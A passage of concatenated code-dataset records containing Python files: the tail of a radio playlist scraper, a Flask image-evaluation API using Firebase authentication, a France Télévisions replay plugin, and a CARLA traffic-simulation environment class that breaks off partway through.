soup.find_all(\"span\"):\n myclass = span.get(\"class\")\n if myclass == [\"song\"]:\n song = span.text\n break\n\nif last_song != song:\n last_song = song\n fh = open(\"last_song.txt\", \"w\")\n fh.write(song)\n fh.close()\n fh = open(\"chat.log\", \"a\")\n fh.write(\"\\n%s\\n\" % datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\n fh.write(f\"Now playing: {song} - {artist}\\n\\n\")\n fh.close()\n print(f\"{song} - {artist}\\n\")\n\n fh = open(\"playlist.txt\", \"a\")\n fh.write(f\"{song} - {artist}\\n\")\n fh.close()\n\nif show_title and dj_name:\n # print(f\"You are listenging to {show_title} with {dj_name}.\")\n print(f\"{artist} - {song}\")\n# else:\n# print(\"The current show is unknown (Spinitron has not been updated.)\")\n\n# for link in soup.find_all(\"a\"):\n# href = link.get(\"href\")\n# print(href)\n","repo_name":"cakebread/trashbot","sub_path":"bot/spinitron.py","file_name":"spinitron.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33591688437","text":"import json, time, uuid, warnings, config\nfrom flask_cors import CORS, cross_origin\nfrom datetime import datetime\nfrom flask import Flask, jsonify, request, abort\nfrom utils.create_mask import ExtractMasks\nfrom utils.eval_images import Predict\nfrom utils.firebase_functions import FirebaseManager\nfrom utils.utils import (\n check_request,\n convert_numpy_to_list,\n format_data_to_dict,\n get_data_routes,\n generate_response,\n)\n\nwarnings.filterwarnings(\"ignore\", category=UserWarning)\n\napp = Flask(__name__)\napp.config[\"MAX_CONTENT_LENGTH\"] = config.MAX_CONTENT_LENGTH\napp.config[\"UPLOAD_EXTENSIONS\"] = config.UPLOAD_EXTENSIONS\nCORS(\n app,\n origins=[\"*\"],\n methods=[\"GET\", \"POST\"],\n allow_headers=[\"Content-Type\"],\n max_age=[\"10\"],\n)\n\n# Create an instance of FirebaseManager\nfirebase_manager = FirebaseManager()\n\n\n# Define the route /evaluate-image// that accepts POST requests\n@app.route(\"/evaluate-image//\", methods=[\"POST\"])\n@cross_origin()\ndef evaluate_image(type_analisis: str):\n # Check the request for valid file type and type_analisis\n check_request(type_analisis)\n\n auth_header = request.headers.get(\"Authorization\")\n auth_scheme, auth_token = auth_header.split()\n start_time = time.time()\n # Get the parameters\n extract_roi = str(request.args.get(\"extract_roi\"))\n filestr = request.files[\"file\"].read()\n user_id = firebase_manager.check_token(auth_token)\n\n # If no user ID is found, return an error response\n if user_id is None:\n return generate_response(\"ERROR\", \"NO TOKEN ID VERIFIED\")\n # If extract_roi is true, extract masks from the image\n if extract_roi == \"true\":\n original_image, drawed_image, data_to_eval = ExtractMasks(\n img_input_file=filestr\n ).get_masks()\n # If no data is found, return an error response\n if len(data_to_eval) == 0:\n return generate_response(\"ERROR\", \"NO ROI FOUND\")\n # If extract_roi is not true, set original_image and drawed_image to None and convert the image to a numpy array\n else:\n original_image = drawed_image = None\n data_to_eval = [\n ExtractMasks(img_input_file=filestr).image_to_numpy_array(\n transform_gray=True\n )\n ]\n # Get predictions for the data using the Predict class\n predictions = Predict(\n list_masks=data_to_eval, type_analisis=type_analisis\n ).get_predictions()\n # Get data routes and images for uploading to Firebase\n hist_id, path, collection, data_doc = get_data_routes(\n user_id, predictions, type_analisis\n )\n images, extra_data = format_data_to_dict(\n extract_roi, path, data_to_eval, original_image, drawed_image\n )\n data_doc.update(extra_data)\n # Upload results to Firebase and get result and additional information\n result, aditional_info = firebase_manager.upload_results(\n start_time, images, collection, hist_id, data_doc\n )\n # Return a response with the result and additional information\n return generate_response(result, aditional_info, hist_id)\n\n\nif __name__ == \"__main__\":\n app.run(host=\"192.168.1.6\", port=8000, debug=True)\n","repo_name":"SantiagoDGarcia/test-api-flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26309430787","text":"# -*- coding: utf-8 -*-\nimport json\nimport resources.lib.utils as utils\nimport resources.lib.item as item\nimport resources.lib.globalvar as globalvar\nimport resources.lib.m3u8 as m3u8\n\ntitle = ['La 1ère', 'France 2', 'France 3', 'France 4', 'France 5', 'France Ô']\nimg = ['la_1ere', 'france2', 'france3', 'france4', 'france5', 'franceo']\nreadyForUse = True\n\nchannelCatalog = 'http://pluzz.webservices.francetelevisions.fr/' \\\n 'pluzz/liste/type/replay/nb/10000/chaine/%s'\n\nshowInfo = 'http://webservices.francetelevisions.fr/tools/getInfosOeuvre/v2/' \\\n '?idDiffusion=%s&catalogue=Pluzz'\n\nimgURL = 'http://refonte.webservices.francetelevisions.fr%s'\n\ncategories = {\"france2\": \"France 2\",\n \"france3\": \"France 3\",\n \"france4\": \"France 4\",\n \"france5\": \"France 5\",\n \"franceo\": \"France Ô\",\n \"guadeloupe\": \"Guadeloupe 1ère\",\n \"guyane\": \"Guyane 1ère\",\n \"martinique\": \"Martinique 1ère\",\n \"mayotte\": \"Mayotte 1ère\",\n \"nouvellecaledonie\": \"Nouvelle Calédonie 1ère\",\n \"polynesie\": \"Polynésie 1ère\",\n \"reunion\": \"Réunion 1ère\",\n \"saintpierreetmiquelon\": \"St-Pierre et Miquelon 1ère\",\n \"wallisetfutuna\": \"Wallis et Futuna 1ère\",\n \"sport\": \"Sport\",\n \"info\": \"Info\",\n \"documentaire\": \"Documentaire\",\n \"seriefiction\": \"Série & fiction\",\n \"magazine\": \"Magazine\",\n \"jeunesse\": \"Jeunesse\",\n \"divertissement\": \"Divertissement\",\n \"jeu\": \"Jeu\",\n \"culture\": \"Culture\"}\n\n\ndef getList(param):\n list = []\n params=param.split(\"|\")\n channel=utils.getChannel(param)\n uniqueItem = dict()\n\n realChannel = channel\n if channel == 'la_1ere':\n realChannel = 'la_1ere_reunion%2C' \\\n 'la_1ere_guyane%2C' \\\n 'la_1ere_polynesie%2C' \\\n 'la_1ere_martinique%2C' \\\n 'la_1ere_mayotte%2C' \\\n 'la_1ere_nouvellecaledonie%2C' \\\n 'la_1ere_guadeloupe%2C' \\\n 'la_1ere_wallisetfutuna%2C' \\\n 'la_1ere_saintpierreetmiquelon'\n\n filPrgm = utils.getWebContentSave(channelCatalog % (realChannel),'catalog_%s.json' % (channel));\n jsonParser = json.loads(filPrgm)\n emissions = jsonParser['reponse']['emissions']\n\n if len(params)==1:\n for emission in emissions:\n rubrique = emission['rubrique'].encode('utf-8')\n if rubrique not in uniqueItem:\n uniqueItem[rubrique] = rubrique\n list.append(item.Directory(change_to_nicer_name(rubrique),param, rubrique))\n\n elif len(params)==2:\n for emission in emissions:\n rubrique = emission['rubrique'].encode('utf-8')\n if rubrique == params[1]:\n titre = emission['titre_programme'].encode('utf-8')\n if titre != '':\n id = emission['id_programme'].encode('utf-8')\n if id == '':\n id = emission['id_emission'].encode('utf-8')\n if id not in uniqueItem:\n uniqueItem[id] = id\n list.append(item.Directory(titre,param, id,imgURL % (emission['image_large'])))\n elif len(params)==3:\n for emission in emissions:\n id = emission['id_programme'].encode('utf-8')\n if id == '':\n id = emission['id_emission'].encode('utf-8')\n if id == params[2]:\n titre=''\n image=''\n if 'titre' in emission:\n titre = emission['titre'].encode('utf-8')\n if 'soustitre' in emission:\n if emission['soustitre']!='':\n titre += ' - ' + emission['soustitre'].encode('utf-8')\n if 'image_medium' in emission:\n image = imgURL % emission['image_medium'] \n id_diffusion = emission['id_diffusion'].encode('utf-8')\n \n i=item.Directory(titre,param,id_diffusion,image)\n if 'accroche' in emission:\n i.plot = emission['accroche'].encode('utf-8')\n if 'real_duration' in emission:\n i.duration = int(emission['real_duration'])\n if 'date_diffusion' in emission:\n i.date_diffusion = emission['date_diffusion']\n \n list.append(i)\n elif len(params)==4:\n list=[] \n filPrgm = utils.getWebContent(showInfo % (params[3]))\n jsonParser = json.loads(filPrgm)\n for video in jsonParser['videos']:\n if video['format']=='hls_v5_os':\n list=m3u8.parse_m3u8s('TBD',video['url'])\n \n return list\n\ndef change_to_nicer_name(original_name):\n if original_name in categories:\n return categories[original_name]\n return original_name","repo_name":"spmjc/freplay2","sub_path":"resources/lib/channels/pluzz.py","file_name":"pluzz.py","file_ext":"py","file_size_in_byte":5098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3859244863","text":"\"\"\"\nThis module provides definitions of classes encapsulating a CARLA simulation.\n\"\"\"\nfrom invertedai.common import AgentAttributes, Point, AgentState, RecurrentState, TrafficLightState\nfrom dataclasses import dataclass, field\nimport carla\nfrom carla import Location, Rotation, Transform\nimport math\nimport numpy as np\nfrom collections import deque\nimport socket\nimport random\nimport time\nfrom typing import Optional, Tuple, List\nfrom data.static_carla import (\n MAP_CENTERS,\n DEMO_LOCATIONS,\n NPC_BPS,\n EGO_FLAG_COLOR,\n NPC_FLAG_COLOR,\n cord,\n)\nfrom key_controller import KeyboardControl\nfrom pygame_display import RenderObject\nimport pygame\n\n\n@dataclass\nclass PreSets:\n map_centers = MAP_CENTERS\n demo_locations = DEMO_LOCATIONS\n npc_bps = NPC_BPS\n\n\n@dataclass\nclass CarlaSimulationConfig:\n \"\"\"\n A collection of static configuration options for the CARLA simulation.\n Three different settings for handling NPCs outside the supported area available:\n - \"no_non_roi_npcs\" - destroy NPCs leaving the supported area\n - \"spawn_at_entrace\" - as above, but periodically spawn replacements within the supported area\n - \"calra_handoff\" - hand off NPCs to CARLA's traffic manager when they leave supported area\n \"\"\"\n ego_bp: str = \"vehicle.tesla.model3\" #: blueprint name for the ego vehicle\n npc_bps: Tuple[str] = NPC_BPS #: blueprint names for NPC vehicles\n location: str = \"carla:Town03\" #: in format recognized by Inverted AI API center map coordinate of the selected carla town\n map_center: Tuple[float] = (0.0, 0.0)\n fps: int = 10 #: 10 is the only value currently compatible with Inverted AI API\n traffic_count: int = 20 #: total number of vehicles to place in simulation\n episode_length: int = 20 #: in seconds\n follow_ego: bool = False #: whether the spectator camera follows the ego vehicle\n slack: int = 3 #: in meters, how far outside supported area to track NPCs\n seed: float = time.time() #: random number generator seed to control stochastic behavior\n flag_npcs: bool = True #: whether to display a blue dot on Inverted AI NPCs\n flag_ego: bool = True #: whether to display a red dot on the ego vehicle\n ego_autopilot: bool = True #: whether to use traffic manager to control ego vehicle\n npc_population_interval: int = 1 #: in seconds, how often to respawn NPCs when \"spawn_at_entrace\" is used\n non_roi_npc_mode: str = (\n \"carla_handoff\"\n ) #: select from [\"no_non_roi_npcs\", \"spawn_at_entrance\", \"carla_handoff\"]\n max_cars_in_map: int = 100 #: upper bound on how many vehicles total are allowed in simulation\n manual_control_ego: bool = True # : manual controll of ego and wheather to display scene in pygame window\n spectator_fov: int = 100 #: spectator field of view\n\n\nclass Car:\n \"\"\"\n A wrapper encapsulating information about a specific vehicle\n for both sides of the simulation (CARLA and Inverted AI).\n \"\"\"\n\n def __init__(\n self,\n actor: carla.Actor,\n speed: float = 0.0,\n recurrent_state: RecurrentState = RecurrentState(),\n ) -> None:\n self.actor = actor\n self.recurrent_state = recurrent_state\n self._dimension = None\n self._states = deque(maxlen=10)\n self.speed = speed\n self.external_control = None\n\n def update_dimension(self):\n self._dimension = self._get_actor_dimensions()\n\n def update_speed(self):\n v = self.actor.get_velocity()\n vs = np.sqrt(v.x**2 + v.y**2)\n self.speed = vs\n\n @property\n def dims(self):\n return self._dimension\n\n @property\n def transform(self):\n self._transform, state = self._get_actor_state()\n return self._transform\n\n def get_state(self, from_carla=False):\n self._transform, state = self._get_actor_state(from_carla)\n self._states.append(state)\n return dict(\n transform=self._transform,\n states=list(self._states),\n recurrent_state=self.recurrent_state,\n )\n\n def set_state(self, state=None, recurrent_state=None):\n self.recurrent_state = recurrent_state\n if state is not None:\n # NOTE: state is of size 4 : [x, y, angle, speed]\n loc = carla.Location(\n state.center.x, state.center.y, self._transform.location.z\n )\n rot = carla.Rotation(\n yaw=np.degrees(state.orientation),\n pitch=self._transform.rotation.pitch,\n roll=self._transform.rotation.roll,\n )\n next_transform = carla.Transform(loc, rot)\n self.actor.set_transform(next_transform)\n self.speed = state.speed\n\n def _get_actor_dimensions(self):\n bb = self.actor.bounding_box.extent\n length = max(\n 2 * bb.x, 1.0\n ) # provide minimum value since CARLA returns 0 for some agents\n width = max(2 * bb.y, 0.2)\n physics_control = self.actor.get_physics_control()\n # Wheel position is in centimeter: https://github.com/carla-simulator/carla/issues/2153\n rear_left_wheel_position = physics_control.wheels[2].position / 100\n rear_right_wheel_position = physics_control.wheels[3].position / 100\n real_mid_position = 0.5 * (rear_left_wheel_position + rear_right_wheel_position)\n actor_geo_center = self.actor.get_location()\n lr = actor_geo_center.distance(real_mid_position)\n return (length, width, lr)\n\n def _get_actor_state(self, from_carla=False):\n t = self.actor.get_transform()\n loc, rot = t.location, t.rotation\n xs = loc.x\n ys = loc.y\n psis = np.radians(rot.yaw)\n if from_carla:\n v = self.actor.get_velocity()\n vs = np.sqrt(v.x**2 + v.y**2)\n else:\n vs = self.speed\n return t, (xs, ys, psis, vs)\n\n\nclass CarlaEnv:\n \"\"\"\n A class encapsulating a CARLA simulation, handling all the logic\n of spawning and controlling vehicles, as well as connecting to\n the server and setting simulation parameters.\n \"\"\"\n\n def __init__(\n self,\n cfg: CarlaSimulationConfig,\n static_actors=None\n ) -> None:\n\n self.cfg = cfg\n self.rng = random.Random(cfg.seed)\n\n # assemble information about area where Inverted AI NPCs will be deployed\n centers = cfg.map_center\n self.roi_center = cord(x=centers[0], y=centers[1])\n self.proximity_threshold = (\n 50\n if cfg.location not in DEMO_LOCATIONS.keys()\n else DEMO_LOCATIONS[cfg.location][\"proximity_threshold\"]\n )\n\n # connect to CARLA server and set simulation parameters\n client = carla.Client(\"localhost\", 2000)\n traffic_manager = client.get_trafficmanager(\n get_available_port(subsequent_ports=0)\n )\n world_settings = carla.WorldSettings(\n synchronous_mode=True,\n fixed_delta_seconds=1 / float(cfg.fps),\n )\n world = client.load_world(cfg.location.split(\":\")[1])\n self.original_settings = client.get_world().get_settings()\n world.apply_settings(world_settings)\n traffic_manager.set_synchronous_mode(True)\n traffic_manager.set_hybrid_physics_mode(True)\n\n # Get Traffic-light IDS\n self.static_actors = static_actors\n self.tl_objs = list(world.get_actors().filter('traffic.traffic_light*'))\n self.traffic_lights = {}\n if static_actors:\n traffic_lights_obj = list(world.get_actors().filter('traffic.traffic_light*'))\n for tl in static_actors:\n if tl.agent_type == \"traffic-light-actor\":\n for tlo in traffic_lights_obj:\n x, y = tlo.get_transform().location.x, tlo.get_transform().location.y\n if (abs(x - tl.center.x) + abs(y - tl.center.y)) < 1:\n for traffic_line in tl.dependant:\n self.traffic_lights[traffic_line] = tlo\n\n # store some variables\n self.world = world\n self.client = client\n self.traffic_manager = traffic_manager\n self.sensors = {}\n self.pygame_window = {}\n\n # compute how many steps to warm up NPCs for\n self.populate_step = self.cfg.fps * self.cfg.npc_population_interval\n self.npcs = []\n self.ego = None\n self.non_roi_npcs = []\n\n def _initialize(self, ego_spawn_point=None, initial_states=None, npc_entrance_spawn_points=None,\n initial_recurrent_states=None, spectator_transform=None):\n \"\"\"\n Initialize the simulation state by spawning all vehicles and setting\n their controllers.\n \"\"\"\n # pick spawn points for NPCs\n if initial_states is None:\n # initial state not provided - create one\n spawn_points = self.world.get_map().get_spawn_points()\n (\n npc_roi_spawn_points,\n initial_speed,\n initial_recurrent_states,\n ) = self.get_roi_spawn_points(\n spawn_points, speed=np.zeros_like(spawn_points)\n )\n else:\n # initial state provided - use it\n spawn_points, speed = self._to_transform(initial_states)\n if initial_recurrent_states is not None:\n assert len(initial_recurrent_states) == len(initial_states)\n (\n npc_roi_spawn_points,\n initial_speed,\n initial_recurrent_states,\n ) = self.get_roi_spawn_points(\n spawn_points, speed, initial_recurrent_states=initial_recurrent_states\n )\n # pick a spawn point for the ego vehicle\n if (ego_spawn_point is None) or (self.cfg.location not in DEMO_LOCATIONS.keys()):\n # pick random spawn point for the ego vehicle\n ego_spawn_point, ego_rs, _ = (\n npc_roi_spawn_points.pop(),\n initial_recurrent_states.pop(),\n initial_speed.pop(),\n )\n elif ego_spawn_point == \"demo\":\n # pick one of designated spawn points for the location for the ego vehicle\n locs = DEMO_LOCATIONS[self.cfg.location]\n ego_spawn_point = self.rng.choice(locs[\"spawning_locations\"])\n ego_rs = RecurrentState()\n else:\n # use the spawn point provided\n ego_rs = RecurrentState()\n assert isinstance(\n ego_spawn_point, carla.Transform\n ), \"ego_spawn_point must be a Carla.Transform\"\n\n # spawn vehicles\n if self.cfg.non_roi_npc_mode == \"spawn_at_entrance\":\n self.nroi_npc_mode = 0\n # TODO: use enum to combine self.nroi_npc_mode and cfg.non_roi_npc_mode\n if npc_entrance_spawn_points is None:\n spawn_points = self.world.get_map().get_spawn_points()\n npc_entrance_spawn_points = self.get_entrance(spawn_points)\n else:\n spawn_points = self._to_transform(npc_roi_spawn_points)\n npc_entrance_spawn_points, _, _ = self.get_roi_spawn_points(\n spawn_points\n )\n elif self.cfg.non_roi_npc_mode == \"carla_handoff\":\n self.nroi_npc_mode = 1\n spawn_points = self.world.get_map().get_spawn_points()\n self.non_roi_spawn_points, _, _ = self.get_roi_spawn_points(\n spawn_points, roi=False\n )\n else:\n self.nroi_npc_mode = 2\n\n # set the spectator camera\n if spectator_transform is None:\n camera_loc = carla.Location(self.roi_center.x, self.roi_center.y, z=self.cfg.spectator_fov)\n camera_rot = carla.Rotation(pitch=-90, yaw=90, roll=0)\n spectator_transform = carla.Transform(camera_loc, camera_rot)\n self.spectator_mode = \"birdview\"\n elif spectator_transform == \"follow_ego\":\n spectator_transform = carla.Transform(\n ego_spawn_point.transform(carla.Location(x=-6, z=2.5)),\n ego_spawn_point.rotation,\n )\n self.spectator_mode = \"follow_ego\"\n else:\n assert isinstance(\n spectator_transform, carla.Transform\n ), \"spectator_transform must be a Carla.Transform\"\n self.spectator_mode = \"user_defined\"\n self.spectator = self.world.get_spectator()\n self.spectator.set_transform(spectator_transform)\n spectator_transform = carla.Transform(\n ego_spawn_point.transform(carla.Location(x=-6, z=2.5)),\n ego_spawn_point.rotation,\n )\n\n self.npc_rs = initial_recurrent_states\n self.roi_spawn_points = npc_roi_spawn_points\n self.spectator_transform = spectator_transform\n self.initial_speed = initial_speed\n self.entrance_spawn_points = npc_entrance_spawn_points\n self.ego_spawn_point = ego_spawn_point\n self.ego_rs = ego_rs\n\n # First spawn ego to ensure no NPC is spawned there\n self.ego = self._spawn_npcs(\n [self.ego_spawn_point], [0], [self.cfg.ego_bp], [self.ego_rs]\n ).pop()\n\n # Set ego view camera for manual driving\n if self.cfg.manual_control_ego:\n self.add_camera(\"manual_driving\", self.ego, carla.Transform(carla.Location(x=-6, z=2.5)), headless=False)\n\n # Check that it's possible to spawn the requested number of NPCs.\n if len(self.roi_spawn_points) < self.cfg.traffic_count:\n print(\"Number of roi_spawn_points is less than traffic_count\")\n # TODO: Add logger\n num_npcs = min(len(self.roi_spawn_points), self.cfg.traffic_count)\n\n # Spawn NPCs\n self.npcs.extend(\n self._spawn_npcs(\n self.roi_spawn_points[:num_npcs],\n self.initial_speed,\n self.cfg.npc_bps,\n self.npc_rs,\n )\n )\n\n # Spawn more NPCs outside the supported area\n if self.cfg.non_roi_npc_mode == \"carla_handoff\":\n num_npcs = min(len(self.non_roi_spawn_points), self.cfg.max_cars_in_map)\n self.non_roi_npcs.extend(\n self._spawn_npcs(\n self.non_roi_spawn_points[:num_npcs],\n [0 for _ in range(num_npcs)],\n self.cfg.npc_bps,\n )\n )\n\n # Set traffic manager to control all NPCs initially\n self.set_npc_autopilot(self.npcs, True)\n\n # Allow the vehicles to drop to the ground\n for _ in range(self.cfg.fps):\n self.world.tick()\n\n # Set controllers for all vehicles\n for npc in self.npcs:\n npc.update_dimension()\n self.ego.update_dimension()\n self.set_npc_autopilot(self.npcs, False)\n if self.cfg.manual_control_ego:\n self.set_ego_keyboard()\n else:\n self.set_ego_autopilot(self.cfg.ego_autopilot)\n if self.cfg.non_roi_npc_mode == \"carla_handoff\":\n self.set_npc_autopilot(self.non_roi_npcs, True)\n self.step_counter = 0\n\n def reset(self, include_ego=True, ego_spawn_point=None, initial_states=None, npc_entrance_spawn_points=None,\n initial_recurrent_states=None, spectator_transform=None):\n \"\"\"\n Re-initialize simulation with the same parameters.\n \"\"\"\n try:\n self.destroy(npcs=True, ego=True, world=False)\n except BaseException:\n pass\n self._initialize(ego_spawn_point=ego_spawn_point, initial_states=initial_states,\n npc_entrance_spawn_points=npc_entrance_spawn_points,\n initial_recurrent_states=initial_recurrent_states, spectator_transform=spectator_transform)\n return self.get_obs(include_ego=include_ego)\n\n def step(self, npcs=None, include_ego=True):\n \"\"\"\n Advance the simulation using supplied NPC predictions.\n \"\"\"\n self.step_counter += 1\n self._set_state_and_filter_npcs(npcs, include_ego)\n if self.cfg.flag_ego:\n self._flag_npc([self.ego], EGO_FLAG_COLOR)\n if self.cfg.flag_npcs:\n self._flag_npc(self.npcs, NPC_FLAG_COLOR)\n ego_transform = self.ego.transform\n ego_spectator_transform = carla.Transform(\n ego_transform.transform(carla.Location(x=-6, z=2.5)),\n ego_transform.rotation,\n )\n if self.spectator_mode == \"follow_ego\":\n self.spectator.set_transform(ego_spectator_transform)\n self._tick_cameras()\n\n self.world.tick()\n\n self._tick_pygame()\n if self.ego.external_control is not None:\n self.ego.external_control.process_control()\n for event in pygame.event.get():\n self.ego.external_control.parse_control(event)\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_r:\n self.reset()\n\n return self.get_obs()\n\n def destroy(self, npcs=True, ego=True, world=True, sensors=True):\n \"\"\"\n Finish the simulation, destroying agents and optionally\n releasing the server.\n \"\"\"\n if npcs:\n self._destroy_npcs(self.npcs)\n self._destroy_npcs(self.non_roi_npcs)\n self.npcs = []\n self.non_roi_npcs = []\n if ego:\n self._destroy_npcs([self.ego])\n self.ego = None\n if sensors:\n self.pygame_window = {}\n self.sensors = {}\n self._destroy_sensors(list(self.sensors.values()))\n if world:\n self.client.get_world().apply_settings(self.original_settings)\n self.traffic_manager.set_synchronous_mode(False)\n\n def get_obs(self, obs_len=1, include_ego=True, warmup=False):\n \"\"\"\n Obtain agent information as required by Inverted AI `drive`.\n \"\"\"\n if self.cfg.non_roi_npc_mode == \"spawn_at_entrance\":\n if len(self.non_roi_npcs) > 0:\n for npc in self.non_roi_npcs:\n npc.update_dimension()\n self.npcs.extend(self.non_roi_npcs)\n self.non_roi_npcs = []\n self.set_npc_autopilot(self.npcs, False)\n states = []\n rec_state = []\n dims = []\n for npc in self.npcs:\n obs = npc.get_state(from_carla=warmup)\n states.append(obs[\"states\"][-obs_len:])\n rec_state.append(obs[\"recurrent_state\"])\n dims.append(npc.dims)\n if include_ego:\n obs = self.ego.get_state(from_carla=True)\n states.append(obs[\"states\"][-obs_len:])\n rec_state.append(obs[\"recurrent_state\"])\n dims.append(self.ego.dims)\n agent_states = [\n AgentState(\n center=Point.fromlist(state[0][:2]), orientation=state[0][2], speed=state[0][3]\n )\n for state in states\n ]\n agent_attributes = [AgentAttributes.fromlist(attr) for attr in dims]\n # recurrent_state = [RecurrentState(rs) for rs in rec_state]\n recurrent_state = rec_state\n return agent_states, recurrent_state, agent_attributes\n\n @staticmethod\n def set_npc_autopilot(npcs, on=True):\n \"\"\"\n Hands off control over selected NPCs to CARLA's traffic manager,\n or back to Inverted AI if `on=False`.\n \"\"\"\n for npc in npcs:\n try:\n npc.actor.set_autopilot(on)\n npc.actor.set_simulate_physics(on)\n except BaseException:\n print(\"Unable to set autopilot\")\n # TODO: add logger\n\n def set_ego_autopilot(self, on=True):\n \"\"\"\n Sets the ego vehicle to be controlled by CARLA's traffic manager.\n \"\"\"\n try:\n self.ego.actor.set_autopilot(on)\n except BaseException:\n print(\"Unable to set autopilot\")\n # TODO: add logger\n\n def set_ego_keyboard(self):\n \"\"\"\n Sets the ego vehicle to be controlled by CARLA's traffic manager.\n \"\"\"\n self.ego.external_control = KeyboardControl(self.ego.actor)\n\n @classmethod\n def from_preset_data(\n cls,\n static_actors=None,\n ):\n \"\"\"\n Constructs a CARLA simulation.\n \"\"\"\n cfg = CarlaSimulationConfig()\n return cls(\n cfg,\n static_actors,\n )\n\n def _destroy_npcs(self, npcs: List):\n \"\"\"\n Removes selected NPCs from CARLA simulation.\n \"\"\"\n for npc in npcs:\n try:\n npc.actor.set_autopilot(False)\n except BaseException:\n print(\"Unable to set autopilot\")\n # TODO: add logger\n npc.actor.destroy()\n\n def _destroy_sensors(self, sensors: List):\n \"\"\"\n Removes selected sensors from CARLA simulation.\n \"\"\"\n for sensor in sensors:\n sensor[\"actor\"].destroy()\n\n def _spawn_npcs(self, spawn_points, speeds, bps, recurrent_states=None):\n \"\"\"\n Introduces NPCs into the simulation.\n \"\"\"\n npcs = []\n if recurrent_states is None:\n # set empty recurrent state - this is fast but predictions may not initially be good\n # for more accurate results, call `iai.initialize` to obtain the recurrent state\n recurrent_states = [RecurrentState()] * len(spawn_points)\n for spawn_point, speed, rs in zip(spawn_points, speeds, recurrent_states):\n blueprint = self.world.get_blueprint_library().find(self.rng.choice(bps))\n # ego_spawn_point = self.roi_spawn_points[i]\n actor = self.world.try_spawn_actor(blueprint, spawn_point)\n if actor is None:\n print(f\"Cannot spawn NPC at:{str(spawn_point)}\")\n else:\n npc = Car(actor, speed, rs)\n npcs.append(npc)\n return npcs\n\n @property\n def traffic_light_states(self):\n tl_states = {}\n for tl, tlo in self.traffic_lights.items():\n tl_states[tl] = tlo.state.name.lower()\n return tl_states\n\n def _flag_npc(self, actors, color):\n \"\"\"\n Marks NPCs with colored dots.\n \"\"\"\n for actor in actors:\n loc = actor.actor.get_location()\n loc.z += 3\n self.world.debug.draw_point(\n location=loc,\n size=0.1,\n color=color,\n life_time=2 / self.cfg.fps,\n )\n\n def _set_state_and_filter_npcs(self, npcs=None, include_ego=True):\n \"\"\"\n Enacts NPC predictions in CARLA and adjusts the behavior of NPCs\n entering and exiting the supported area according to the specified settings.\n \"\"\"\n # set the predicted states\n if npcs is not None:\n states = npcs.agent_states\n recurrent_states = npcs.recurrent_states\n id = -1 # In case all NPCs vanish!\n for id, npc in enumerate(self.npcs):\n rs = None if recurrent_states is None else recurrent_states[id]\n npc.set_state(states[id], rs)\n\n if include_ego:\n rs = None if recurrent_states is None else recurrent_states[id + 1]\n self.ego.set_state(recurrent_state=rs)\n # find which NPCs are exiting the supported area\n exit_npcs = []\n remaining_npcs = []\n for npc in self.npcs:\n actor_geo_center = npc.get_state()[\"transform\"].location\n distance = math.sqrt(\n ((actor_geo_center.x - self.roi_center.x) ** 2)\n + ((actor_geo_center.y - self.roi_center.y) ** 2)\n )\n if distance < self.proximity_threshold + self.cfg.slack:\n remaining_npcs.append(npc)\n else:\n exit_npcs.append(npc)\n # handle entrances and exits\n if self.cfg.non_roi_npc_mode == \"carla_handoff\":\n # hand off NPCs to CARLA's traffic manager outside supported area\n for npc in self.non_roi_npcs:\n actor_geo_center = npc.get_state()[\"transform\"].location\n distance = math.sqrt(\n ((actor_geo_center.x - self.roi_center.x) ** 2)\n + ((actor_geo_center.y - self.roi_center.y) ** 2)\n )\n if distance < self.proximity_threshold + self.cfg.slack:\n npc.update_dimension()\n self.set_npc_autopilot([npc], on=False)\n remaining_npcs.append(npc)\n npc.update_speed()\n else:\n exit_npcs.append(npc)\n self.non_roi_npcs = exit_npcs\n self.set_npc_autopilot(self.non_roi_npcs, True)\n exit_npcs = []\n elif self.cfg.non_roi_npc_mode == \"spawn_at_entrance\":\n # destroy exiting NPCs and spawn replacements at entrances\n if not (self.step_counter % self.populate_step):\n self.non_roi_npcs = self._spawn_npcs(\n self.entrance_spawn_points,\n (3 * np.ones_like(self.entrance_spawn_points)).tolist(),\n self.cfg.npc_bps,\n )\n\n self._destroy_npcs(exit_npcs)\n self.npcs = remaining_npcs\n\n @staticmethod\n def _to_transform(poses: List[AgentState]) -> Tuple[List[carla.Transform], List[float]]:\n \"\"\"\n Converts agent states to CARLA's format.\n \"\"\"\n t = []\n speed = []\n for pos in poses:\n loc = carla.Location(x=pos.center.x, y=pos.center.y, z=1)\n rot = carla.Rotation(yaw=np.degrees(pos.orientation))\n t.append(carla.Transform(loc, rot))\n speed.append(pos.speed)\n return (t, speed)\n\n def get_entrance(self, spawn_points):\n \"\"\"\n Filters spawn points to leave those that are entrances\n into the supported area.\n \"\"\"\n entrance = []\n for sp in spawn_points:\n distance = math.sqrt(\n ((sp.location.x - self.roi_center.x) ** 2)\n + ((sp.location.y - self.roi_center.y) ** 2)\n )\n if (\n self.proximity_threshold - self.cfg.slack\n < distance\n < self.proximity_threshold + self.cfg.slack\n ):\n entrance.append(sp)\n return entrance\n\n def get_roi_spawn_points(\n self, spawn_points, speed=None, roi=True, initial_recurrent_states=None\n ):\n \"\"\"\n Obtain specific points to spawn the agents.\n \"\"\"\n roi_spawn_points = []\n initial_speed = []\n keep_initial_recurrent_states = []\n for ind, sp in enumerate(spawn_points):\n distance = math.sqrt(\n ((sp.location.x - self.roi_center.x) ** 2)\n + ((sp.location.y - self.roi_center.y) ** 2)\n )\n if roi & (distance < self.proximity_threshold):\n roi_spawn_points.append(sp)\n if speed is not None:\n initial_speed.append(speed[ind])\n if initial_recurrent_states is not None:\n keep_initial_recurrent_states.append(initial_recurrent_states[ind])\n elif (not roi) & (distance > self.proximity_threshold):\n roi_spawn_points.append(sp)\n if len(keep_initial_recurrent_states) == 0:\n keep_initial_recurrent_states = [RecurrentState()] * len(roi_spawn_points)\n return roi_spawn_points, initial_speed, keep_initial_recurrent_states\n\n def add_camera(self, name: str, actor_to_attach: Optional[Car]\n = None, position: Optional[carla.Transform] = None, headless: bool = True) -> None:\n # add 